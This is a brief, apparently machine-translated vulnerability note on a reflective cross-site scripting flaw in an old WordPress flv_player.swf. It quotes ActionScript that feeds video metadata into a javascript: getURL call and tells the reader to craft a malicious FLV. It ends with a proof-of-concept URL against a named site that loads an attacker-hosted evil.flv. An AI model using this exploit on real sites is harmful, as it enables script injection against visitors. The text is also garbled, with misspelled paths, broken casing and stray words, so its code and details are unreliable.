Old WordPress reflective cross-site

A file in WordPress of the old version has a Cross-Site vulnerability. Later, the file cannot be found...

Wp-uplodes/js/tinymce/plugins/media/img/flv_player.swf
(Early wordpress)

Nc = new NetConnection ();
//..
Ns. play (flvToPlay); // play flvToPlay
Ns. onMetaData = function (obj) // process metadata
{
MetaWidth = obj. width; // get width
MetaHeight = obj. height;
//...
If (jsCallback)
{
GetURL ("javascript: flvStart (\ '" + metaWidth + "\', \ '" +
MetaHeight + "\ ')", ""); // directly getURL
} // End if
}
Create an edevil by yourself and modify metaData

 
 

Then use the swf player to play the flv.

PoC:
Http://www.80sec.com/wp-includes/js/tinymce/plugins/media/img/flv_player.swf? FlvToPlay = http://swfpoc.appspot.com/poc/evil.flv&jsCallback=true